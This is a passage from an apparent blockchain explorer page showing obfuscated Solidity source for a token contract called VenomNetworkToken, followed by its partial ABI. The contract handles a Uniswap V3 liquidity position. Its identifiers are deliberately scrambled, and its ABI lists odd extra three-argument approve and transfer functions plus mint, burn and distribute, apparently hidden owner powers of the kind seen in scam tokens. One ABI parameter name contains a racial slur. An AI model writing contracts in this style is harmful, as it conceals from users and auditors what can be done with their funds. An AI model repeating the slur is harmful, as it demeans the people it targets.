jnrfvknesurhiUHNRUISHgiuhwerg8ehr8w438gwerijkg)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.swap(address(this),address(this)>address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs),int256(dgvsidIRfhjgJNMKLDSNhngvwsoerhg8wrugj8he8ru34tng),address(this)>address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd:jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,"");(int256 UBJIDgviusbuibnIUHSDugihiouwerhyg98w348gherh7ghsdv,)=BYUYUEfvlyuisrbdlvdrhblsbfujygbklsuyrgbszdbkuyrgb(dfvjiojsIJIOSDerjgoiljeriogjero8gjue9o8rbjeedjrb,jnrfvknesurhiUHNRUISHgiuhwerg8ehr8w438gwerijkg);oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(address(this),uint256(-UBJIDgviusbuibnIUHSDugihiouwerhyg98w348gherh7ghsdv));}else{uint128 dkjfbnknKJNKJNRFuhngbuierwhguiorhi8ogh9w384gejkrgnb=IUSRDHGOIUhosdrufhgporehgouwseryhgo()*uint128(uint16(-gnsdjknJKNSRjgnwseruighh83495hgheukrhg))/10000;uint256 fknbdlnlnNFibnoilrenbioeriojherigIORdhgjoierhj=ZIUdrnguiHUIRHIPughi7erutgho8i7sr5hg8ow7h45g(dkjfbnknKJNKJNRFuhngbuierwhguiorhi8ogh9w384gejkrgnb);(int256 fklbnklNLKNDFbjioergjioerhgioh489gh39784hgHsdjgijioreghj,int256 frjnvbnribnioNIORngiorjegiohjehbiohJSIRejg8erjgjerhg)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.swap(address(this),address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs),int256(fknbdlnlnNFibnoilrenbioeriojherigIORdhgjoierhj),address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd:jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,"");(,int256 fbndfjklnnNFIObniojdobirjboierjgbo8uiou4rhgehhUIHUSDYheg)=BYUYUEfvlyuisrbdlvdrhblsbfujygbklsuyrgbszdbkuyrgb(fklbnklNLKNDFbjioergjioerhgioh489gh39784hgHsdjgijioreghj,frjnvbnribnioNIORngiorjegiohjehbiohJSIRejg8erjgjerhg);IOJDRFIOPGjpaoiedrjgpioserfhjgiushftpuighp789sertyhg0w87er90p(uiaURUIDghnolaeuibnluoybgowuirthnipghuwrptihuj(uint256(-fbndfjklnnNFIObniojdobirjboierjgbo8uiou4rhgehhUIHUSDYheg)),address(this));}return dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy;}function c61915c3ff91()external view returns(address){return address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83);}function ea55d97e3c7a()external view returns(uint256){return rfuignVNDIGULNDRIUghbnlRUIdnlgiusnbriugehori5tg(IUSRDHGOIUhosdrufhgporehgouwseryhgo());}function uniswapV3MintCallback(uint256 usdfvbhuiosdhriohIOHJIOERSjgoijwserigjowiy84yghuihsuigs,uint256 vklnmslkndlJLIJSIRjghoiesrjgijeolijrOIJRiogjrij389ug894wgergw,bytes calldata rfkmjbledkmbikmIOMIORFjghoerjhgho8ie8rihu9458uh84ugh)external override{require(msg.sender==address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83),"UC");address fjvlkdnfnOLINFDbodirfgboer89ug938e7yhgiusrhgkUHURghuisdhr=msg.sender;(uint256 igjiwjsriejgijIOJREIogjiejwhrogujeo0jJRIje8ruge98rerg,uint256 ifbujujrt98ugw894htg8huhughvbdo9uUHSRUIhgiuhr)=IUHDRVUIOHSDIERhvlauirdhoy7gwso8ret76gyo8sergv(usdfvbhuiosdhriohIOHJIOERSjgoijwserigjowiy84yghuihsuigs,vklnmslkndlJLIJSIRjghoiesrjgijeolijrOIJRiogjrij389ug894wgergw);if(igjiwjsriejgijIOJREIogjiejwhrogujeo0jJRIje8ruge98rerg>0){fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei=1;dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(fjvlkdnfnOLINFDbodirfgboer89ug938e7yhgiusrhgkUHURghuisdhr,igjiwjsriejgijIOJREIogjiejwhrogujeo0jJRIje8ruge98rerg);require(fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei==0);}if(ifbujujrt98ugw894htg8huhughvbdo9uUHSRUIhgiuhr>0){address difjgijIOJRjgoiJOIJRIOjgoe8r5ugh89e45rhRUIOhguerhguhe=abi.decode(rfkmjbledkmbikmIOMIORFjghoerjhgho8ie8rihu9458uh84ugh,(address));if(difjgijIOJRjgoiJOIJRIOjgoe8r5ugh89e45rhRUIOhguerhguhe==address(this)){jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs.transfer(fjvlkdnfnOLINFDbodirfgboer89ug938e7yhgiusrhgkUHURghuisdhr,ifbujujrt98ugw894htg8huhughvbdo9uUHSRUIhgiuhr);}else{jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs.transferFrom(difjgijIOJRjgoiJOIJRIOjgoe8r5ugh89e45rhRUIOhguerhguhe,fjvlkdnfnOLINFDbodirfgboer89ug938e7yhgiusrhgkUHURghuisdhr,ifbujujrt98ugw894htg8huhughvbdo9uUHSRUIhgiuhr);}}}function uniswapV3SwapCallback(int256 vnfjnjknJKFNDRujghieurhgiuerhIUHRg785hg8475hghuksdrhguksd,int256 rkgnrnuIHNRUIghiuerhg893e4yg87hr5uyghkdurhgukhdks,bytes calldata)external override{require(msg.sender==address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83),"UC");address rijgdjILJRgjeorihjg8eu5rtyuh98erhuighbKHURghikdug=msg.sender;(int256 rgnenrignLIRGNinegnieorjgeo845j58gj4egjilejr,int256 rjngioernioNRIOngoihjeoir5ghje90ugUSRug89e)=BYUYUEfvlyuisrbdlvdrhblsbfujygbklsuyrgbszdbkuyrgb(vnfjnjknJKFNDRujghieurhgiuerhIUHRg785hg8475hghuksdrhguksd,rkgnrnuIHNRUIghiuerhg893e4yg87hr5uyghkdurhgukhdks);if(rgnenrignLIRGNinegnieorjgeo845j58gj4egjilejr>0)dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(rijgdjILJRgjeorihjg8eu5rtyuh98erhuighbKHURghikdug,uint256(rgnenrignLIRGNinegnieorjgeo845j58gj4egjilejr));if(rjngioernioNRIOngoihjeoir5ghje90ugUSRug89e>0)jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs.transfer(rijgdjILJRgjeorihjg8eu5rtyuh98erhuighbKHURghikdug,uint256(rjngioernioNRIOngoihjeoir5ghje90ugUSRug89e));}function IOJDRFIOPGjpaoiedrjgpioserfhjgiushftpuighp789sertyhg0w87er90p(uint128 dsivniNOSREDIgehjroigje89ru98jkHUIRHghkrhgjkdf,address dkjsnjdnfNJKNKJNSEDrughbuiwsherghwueighw8)private returns(uint256 dngfklnsklnLNSERIOghjiow4rhjerihjeriojgbilejrg,uint256 kslkdfnglnLSIREghoweirhghUISRHguhuirhgerge){(uint256 fikjgijIJIDRjgijeriojh9g8er5uhuejoirhjgkkkdfsg,uint256 kfbkdmLDFjigjeriojghierjghoiejrigjIOFJGdidiorg)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.mint(address(this),sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh,uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge,dsivniNOSREDIgehjroigje89ru98jkHUIRHghkrhgjkdf,abi.encode(dkjsnjdnfNJKNKJNSEDrughbuiwsherghwueighw8));(dngfklnsklnLNSERIOghjiow4rhjerihjeriojgbilejrg,kslkdfnglnLSIREghoweirhghUISRHguhuirhgerge)=IUHDRVUIOHSDIERhvlauirdhoy7gwso8ret76gyo8sergv(fikjgijIJIDRjgijeriojh9g8er5uhuejoirhjgkkkdfsg,kfbkdmLDFjigjeriojghierjghoiejrigjIOFJGdidiorg);}function UIHRFUIpgiahurhvnsruidnbviUBNPUIDRTghrhghe57tg(uint128 vdfjnjNJKNJKRFngheurhgoijerhj9e8rug9ue8hvujsdfjv,address dhusguishriughiHSERyg789w4ryhgsjegoisjeog)private returns(uint256 dnvnsnOSUIEhgosheuirdgbvneioruhg89e4r,uint256 fjnbkdnfbjnKNRUIhghueiorhgeuirhg5){vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.burn(sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh,uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge,vdfjnjNJKNJKRFngheurhgoijerhj9e8rug9ue8hvujsdfjv);fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei=1;(uint128 iodrfjgijIJSRIjgORIOgje8rhueeiorgj,uint128 rfgjijrijgOIJISRJpgkpwsrogoefkws77oedkf)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.collect(dhusguishriughiHSERyg789w4ryhgsjegoisjeog,sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh,uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge,type(uint128).max,type(uint128).max);require(fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei==0);(dnvnsnOSUIEhgosheuirdgbvneioruhg89e4r,fjnbkdnfbjnKNRUIhghueiorhgeuirhg5)=IUHDRVUIOHSDIERhvlauirdhoy7gwso8ret76gyo8sergv(uint256(iodrfjgijIJSRIjgORIOgje8rhueeiorgj),uint256(rfgjijrijgOIJISRJpgkpwsrogoefkws77oedkf));require(dnvnsnOSUIEhgosheuirdgbvneioruhg89e4r>0,"NT");oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(dhusguishriughiHSERyg789w4ryhgsjegoisjeog,dnvnsnOSUIEhgosheuirdgbvneioruhg89e4r);}function IUSRDHGOIUhosdrufhgporehgouwseryhgo()private view returns(uint128 jfvskhdujvhIUHUISEDHuifghiwuheguhuiwhe734ij34tjkl3){(jfvskhdujvhIUHUISEDHuifghiwuheguhuiwhe734ij34tjkl3,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.positions(keccak256(abi.encodePacked(address(this),sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh,uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge)));}function iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address gerioljmgijJIOJREogjhoer8guerjgoiejrg,address fhjbnnjnjkmflksoergwoegUYHERgr9ughroi8hu,uint256 vnkldxcklsdiojio89894o8rg8rHHIRUhg)internal virtual override requiresLock returns(bool){uirfjnvbsipuhnbitunouiBNOITUDRhboiseurhtogiwh5rt7ighoweritg(gerioljmgijJIOJREogjhoer8guerjgoiejrg);uirfjnvbsipuhnbitunouiBNOITUDRhboiseurhtogiwh5rt7ighoweritg(fhjbnnjnjkmflksoergwoegUYHERgr9ughroi8hu);return super.iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(gerioljmgijJIOJREogjhoer8guerjgoiejrg,fhjbnnjnjkmflksoergwoegUYHERgr9ughroi8hu,vnkldxcklsdiojio89894o8rg8rHHIRUhg);}function uirfjnvbsipuhnbitunouiBNOITUDRhboiseurhtogiwh5rt7ighoweritg(address kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj)private{if(kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj.code.length==0||kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj==address(this))return;try jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn(kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj).slot0()returns(uint160 fvdujkfujuHUFhuhudhbjjkdxfufh,int24,uint16,uint16,uint16,uint8,bool){require(kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj==address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83),"UP");if(fvdujkfujuHUFhuhudhbjjkdxfufh!=dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy){dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy=fvdujkfujuHUFhuhudhbjjkdxfufh;}else{require(fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei>0,"NA");unchecked{fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei--;}}}catch{}}function nujiksnufNIUDBNRFPIghubruioghwortuighbowuirntibpunw(uint256 sdjvijOIJSdijgviosjdvbijsoidjvijTGTYEsfweg78we)private view returns(uint128 vdhdsuuhewiopepofUSEgyh8iyw74rgy7Y7ygyhsuidf){(uint160 dfsjihgviosohoiHIOSHerguiohwuerhgu8hwergue,,,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.slot0();vdhdsuuhewiopepofUSEgyh8iyw74rgy7Y7ygyhsuidf=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.OPIJSDfviopdjapogjaprfjgpioarfhjgpiaerhgihseruihgoipaehrg(ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd,dfsjihgviosohoiHIOSHerguiohwuerhgu8hwergue,sdjvijOIJSdijgviosjdvbijsoidjvijTGTYEsfweg78we):sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.uizIUHDFgiopuhaedfuioghiosudfhoiguhosuidhfioughsiduf(dfsjihgviosohoiHIOSHerguiohwuerhgu8hwergue,jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,sdjvijOIJSdijgviosjdvbijsoidjvijTGTYEsfweg78we);}function uiaURUIDghnolaeuibnluoybgowuirthnipghuwrptihuj(uint256 idfsjgviojsoirjOIJSRIOgjioejsrgo8ieryhu9y8erg)private view returns(uint128 fkibnvdfnbnNUIORHguihweirlgeruopwgh78r78er){(uint160 vjisidjvOIJSERioghjoiwruhg8iuer9heurhe89rhe,,,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.slot0();fkibnvdfnbnNUIORHguihweirlgeruopwgh78r78er=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.uizIUHDFgiopuhaedfuioghiosudfhoiguhosuidhfioughsiduf(ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd,vjisidjvOIJSERioghjoiwruhg8iuer9heurhe89rhe,idfsjgviojsoirjOIJSRIOgjioejsrgo8ieryhu9y8erg):sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.OPIJSDfviopdjapogjaprfjgpioarfhjgpiaerhgihseruihgoipaehrg(vjisidjvOIJSERioghjoiwruhg8iuer9heurhe89rhe,jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,idfsjgviojsoirjOIJSRIOgjioejsrgo8ieryhu9y8erg);}function ZIUdrnguiHUIRHIPughi7erutgho8i7sr5hg8ow7h45g(uint128 dfjvijsijJOISJEDRiogjoeirjg89e8ryg7yregyhiueh)private view returns(uint256 udjshbvnaslkejmfgoihUSer4t87w4egw87egweg){(uint160 dfjvbsjdijpwepfgwieithjbuin8r9gu9e74r5rdgvihsihdg,,,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.slot0();udjshbvnaslkejmfgoihUSer4t87w4egw87egweg=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.nmnnCIOUNEDPUIghnpsuiedfrhngbpsirfgbnsofgobins(dfjvbsjdijpwepfgwieithjbuin8r9gu9e74r5rdgvihsihdg,jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,dfjvijsijJOISJEDRiogjoeirjg89e8ryg7yregyhiueh):sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.IOESdjgijSDORFIjgpaiofjguishfogyuwerhtoyuvhwyuertghw(ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd,dfjvbsjdijpwepfgwieithjbuin8r9gu9e74r5rdgvihsihdg,dfjvijsijJOISJEDRiogjoeirjg89e8ryg7yregyhiueh);}function rfuignVNDIGULNDRIUghbnlRUIdnlgiusnbriugehori5tg(uint128 djijviojiow34563eht346guijknkjUIERghuihwepouirghIUSDR7)private view returns(uint256 dikvjijiojOJISEOhgoihwoieghiowegiohweg){(uint160 djvniIISHJeroighoiherguihweuirh98rg34g,,,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.slot0();dikvjijiojOJISEOhgoihwoieghiowegiohweg=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.IOESdjgijSDORFIjgpaiofjguishfogyuwerhtoyuvhwyuertghw(ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd,djvniIISHJeroighoiherguihweuirh98rg34g,djijviojiow34563eht346guijknkjUIERghuihwepouirghIUSDR7):sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.nmnnCIOUNEDPUIghnpsuiedfrhngbpsirfgbnsofgobins(djvniIISHJeroighoiherguihweuirh98rg34g,jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,djijviojiow34563eht346guijknkjUIERghuihwepouirghIUSDR7);}function IUHDRVUIOHSDIERhvlauirdhoy7gwso8ret76gyo8sergv(uint256 idvjiosjdviJOIJSEDRghjohsre8ig84rg3jksrgsrg,uint256 djviolsdjioJIOSErgow8erhg9woer8hger9g8ergdfdg)private view returns(uint256 doijfgvsiojdIJSIedrhjigo8hyower8igworegre,uint256 fikjvjijIOJSRJgojsiojrigjsiojgjOIOSRDjg){(doijfgvsiojdIJSIedrhjigo8hyower8igworegre,fikjvjijIOJSRJgojsiojrigjsiojgjOIOSRDjg)=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?(idvjiosjdviJOIJSEDRghjohsre8ig84rg3jksrgsrg,djviolsdjioJIOSErgow8erhg9woer8hger9g8ergdfdg):(djviolsdjioJIOSErgow8erhg9woer8hger9g8ergdfdg,idvjiosjdviJOIJSEDRghjohsre8ig84rg3jksrgsrg);}function BYUYUEfvlyuisrbdlvdrhblsbfujygbklsuyrgbszdbkuyrgb(int256 dngvsnjnKJSNERkujghuwrhgieuhgiuerhgiherg,int256 fdijvgbiosdfjiobjOIJOIRFjgiojesriojgioejgierg90i4g9e)private view returns(int256 dsnndkujGNsubnUIKREHguieiurghuiehrguidfb,int256 lrfnkgbnjknfiopwejfksdmklfvnsdjkhh7ere4grgreg){(dsnndkujGNsubnUIKREHguieiurghuiehrguidfb,lrfnkgbnjknfiopwejfksdmklfvnsdjkhh7ere4grgreg)=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?(dngvsnjnKJSNERkujghuwrhgieuhgiuerhgiherg,fdijvgbiosdfjiobjOIJOIRFjgiojesriojgioejgierg90i4g9e):(fdijvgbiosdfjiobjOIJOIRFjgiojesriojgioejgierg90i4g9e,dngvsnjnKJSNERkujghuwrhgieuhgiuerhgiherg);}}contract VenomNetworkToken is vunIUSEHifghiuhgisuheiughuiS734t7234efghwyseg,duhvushUIOSHDEURIghuishreguihwsuig,dvjnnUSEDHIhusehghiwse78gyhsuhdegvus,dvbnjsnbSUDEHgihsuerhgieweurhg8uwe,IOefowiejfioHJSEUIOhfg{constructor(string memory dfg8uwsiojioUJIOjrgiojsirojgs,string memory ijsidjgviojIOJIOEJgijsioejg,address udivhuihuIHUISEHife7uhgwiuehgwi7uegsuhhe5,idfjiOISJEthgohseudhfvuhbyhsbd memory idjjvcioJIOLSDJgvojegjw8ergwegjiosjd)dvjnnUSEDHIhusehghiwse78gyhsuhdegvus(dfg8uwsiojioUJIOjrgiojsirojgs,ijsidjgviojIOJIOEJgijsioejg,udivhuihuIHUISEHife7uhgwiuehgwi7uegsuhhe5,idjjvcioJIOLSDJgvojegjw8ergwegjiosjd){}function iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address sdiojvijOIJSEDIOjghfioehjsighuweiohgweg,address idfjvisjviojIJIOSEDRJGIOjsiojergiojsirejgnedociunm,uint256 eiwgujIOUSERIOgyhuiosyhruohgubeisurvbhUYrygvrb)internal override(NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4,dvjnnUSEDHIhusehghiwse78gyhsuhdegvus)returns(bool){return super.iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(sdiojvijOIJSEDIOjghfioehjsighuweiohgweg,idfjvisjviojIJIOSEDRJGIOjsiojergiojsirejgnedociunm,eiwgujIOUSERIOgyhuiosyhruohgubeisurvbhUYrygvrb);}}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"dfg8uwsiojioUJIOjrgiojsirojgs","type":"string"},{"internalType":"string","name":"ijsidjgviojIOJIOEJgijsioejg","type":"string"},{"internalType":"address","name":"udivhuihuIHUISEHife7uhgwiuehgwi7uegsuhhe5","type":"address"},{"components":[{"internalType":"address","name":"vbhbUISEGyuigiuwheguvnbsd","type":"address"},{"internalType":"address","name":"vkdsvUHUIDhuigsheuidhgudfver98vjesdhjuirvh","type":"address"},{"internalType":"uint160","name":"djknvlnslnKUNDuvnuiksjniuknIUNDSVr8geh9r8ghv","type":"uint160"}],"internalType":"struct dvjnnUSEDHIhusehghiwse78gyhsuhdegvus.idfjiOISJEthgohseudhfvuhbyhsbd","name":"idjjvcioJIOLSDJgvojegjw8ergwegjiosjd","type":"tuple"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"iqevuryguiyrpiuytb84577tyb5y6wg","type":"address"},{"indexed":true,"internalType":"address","name":"tiopugvy45vhg75hgise5g","type":"address"},{"indexed":false,"internalType":"uint256","name":"qdvhjkfgvbuiafhpgiqeruigh","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"gvqejrhgiuaerhgiuqerhgiu","type":"address"},{"indexed":true,"internalType":"address","name":"kfjdhgvouiqrhgpiqhpirgiu","type":"address"},{"indexed":false,"internalType":"uint256","name":"ergivjiouaefrhvbgiuqerhuihg","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"a5feccd6e5df","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"dnvikuhuiHIUSEHr8grhwegiweushnvui","type":"uint256"}],"name":"add926d77b0e","outputs":[{"internalType":"uint128","name":"uhgvuihwuirhiUIHRUIhier85g39oe8ghjwshuierghv","type":"uint128"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BBHvvhbvhbjdfhbdfvjhbYGBBYJNJK","type":"address"},{"internalType":"address","name":"gvvcjnavuaiyTYDRTDRFRD7fue7fgyhi","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"vvczxmnbnRTDDDopkopfkoekopefnnvrftacsrf","type":"address"},{"internalType":"uint256","name":"nbbCVCFCFCfdjksjsjnsdjnvjnniggerTRTFRD","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bbhYBUYUyudyufweufuiwhuifehUIUIUedusfhwiuhejhfjkwhiuHUIUuuidsuihuifhsuih","type":"address"},{"internalType":"address","name":"nvjsdYHYUYUdgyfgjksdvjkjsjJKHUDijsdweiifhuiqwhu32r","type":"address"},{"internalType":"uint256","name":"llllllllloserdfjgiewiocjoaisjpocvaOUHughuiyegfiwe7777423","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"int16","name":"gnsdjknJKNSRjgnwseruighh83495hgheukrhg","type":"int16"}],"name":"b6a44d65a608","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"huivhRTRDTDR","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buhuHUIUItyrtyopolpolpiopHUGYUfrtydEDRTSERERwrSRERCtvRYvbuHUKuHKHU7667r563e4534e6ugyu","type":"address"},{"internalType":"uint256","name":"uuhuhuhuirtyutyyuy5y893er898fyh78c7yw8","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"c61915c3ff91","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Hhchuid","type":"address"},{"internalType":"uint256","name":"HPSCwee","type":"uint256"},{"internalType":"bytes","name":"zXXc0YYajikn","type":"bytes"}],"name":"c91a97942d5a","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fdvjnNKJNDUJngvuishrgheruIUHRsgh483g3hguhkueshrbg","type":"uint256"}],"name":"d5c82892104b","outputs":[{"internalType":"uint128","name":"dgvnjknJKNKJNKSDRNgujewiurhguihnIHRSUIghuerhg","type":"uint128"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"bbJHUIEERuIOioOPopmMNCEXEXRweWQWqwrhFGyYUTTYUtyuftg","type":"uint256"},{"internalType":"uint256","name":"nnIIUUiuqwauhdohoUIU8Y675fgfs65FRdgsdsTY","type":"uint256"},{"internalType":"uint256","name":"nnjUUHUHhuIIUHIYULloIOMOIIbhTYRTERWwewerdqwef","type":"uint256"}],"name":"distribute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"cideJJcAtr","type":"address"}],"name":"e248103f8262","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ea55d97e3c7a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bbhyuyuseHUIEFUhiehuiwhuishUIHUSFEuiergwpo78747th34uiuhifwhui","type":"address"},{"internalType":"uint256","name":"bbYUuyyugYGUYUBtyftfyuGYUYBU7768r5t65r56t679hHYHUJGUJYgygy","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"vbnbnfsnbnsdfbHIUIHHUHUIOHU","type":"address"},{"internalType":"uint256","name":"bbvncbbCDDDDdcstacvcdTTYTT","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sdujivusuneunvnwBlaCCkeijfiow3489f84fuesdfiopqwcjIYHGYHUJhbedwuifh","type":"address"},{"internalType":"address","name":"dkgvnuyuiqwyuiruiuiUIIYUGyuedgfyugweucnuiwehLiVVesioioioefjwoi","type":"address"},{"internalType":"uint256","name":"jnvnbnUIKUIUIUHufuweifuiwhuihhUKHUKhuuiehuidfuhiwefhui6666666","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"vcvcUIUHHUIhuenfklwppffs","type":"address"},{"internalType":"address","name":"nnUHUIUIHUIhvbwfvakoasisdif","type":"address"},{"internalType":"uint256","name":"bbvTYTVYRTYT0dvllkjkiqauiwuhdf","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"usdfvbhuiosdhriohIOHJIOERSjgoijwserigjowiy84yghuihsuigs","type":"uint256"},{"internalType":"uint256","name":"vklnmslkndlJLIJSIRjghoiesrjgijeolijrOIJRiogjrij389ug894wgergw","type":"uint256"},{"internalType":"bytes","name":"rfkmjbledkmbikmIOMIORFjghoerjhgho8ie8rihu9458uh84ugh","type":"bytes"}],"name":"uniswapV3MintCallback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"int256","name":"vnfjnjknJKFNDRujghieurhgiuerhIUHRg785hg8475hghuksdrhguksd","type":"int256"},{"internalType":"int256","name":"rkgnrnuIHNRUIghiuerhg893e4yg87hr5uyghkdurhgukhdks","type":"int256"},{"internalType":"bytes","name":"","type":"bytes"}],"name":